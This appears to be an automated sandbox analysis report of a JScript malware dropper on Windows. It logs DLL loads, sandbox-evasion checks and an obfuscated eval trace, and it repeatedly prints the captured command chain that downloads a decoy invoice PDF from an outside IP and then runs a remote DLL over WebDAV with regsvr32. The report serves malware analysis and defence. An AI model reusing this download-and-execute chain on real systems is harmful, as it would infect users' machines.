Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7987.js.csv");ITextStream.WriteLine(" entry:2455 f:ddtysnceb");ITextStream.WriteLine(" exec:2 f:ddtysnceb");ITextStream.WriteLine(" entry:5 o: f:eval a0:%22vmrdieu%3D%5B1031%2C3079%2C5127%2C4103%2C2055%2C3072%5D%3Bvar%20gyuoygg%3Dthis%5Bhytkx%2Bvzbcty%2Bqkziggvn%2Bfwagr%2Bwivzkn%2Bfrfet%2Byleucj%2Bjktwgvecg%5D(this%5Bffnficgdm%2Boypvlan%2Bhecagar%2Bqkzig");IHost.CreateObject("WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5184			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4679			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7652	Thread sleep count: 5184 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7652	Thread sleep count: 4679 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7728	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7748	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7932	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4884	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000002.1819426108.000001A886B49000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1816922894.000001A886B49000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1818843681.000001A886AE8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3043735804.0000016F6B62B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3045159552.0000016F70C56000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

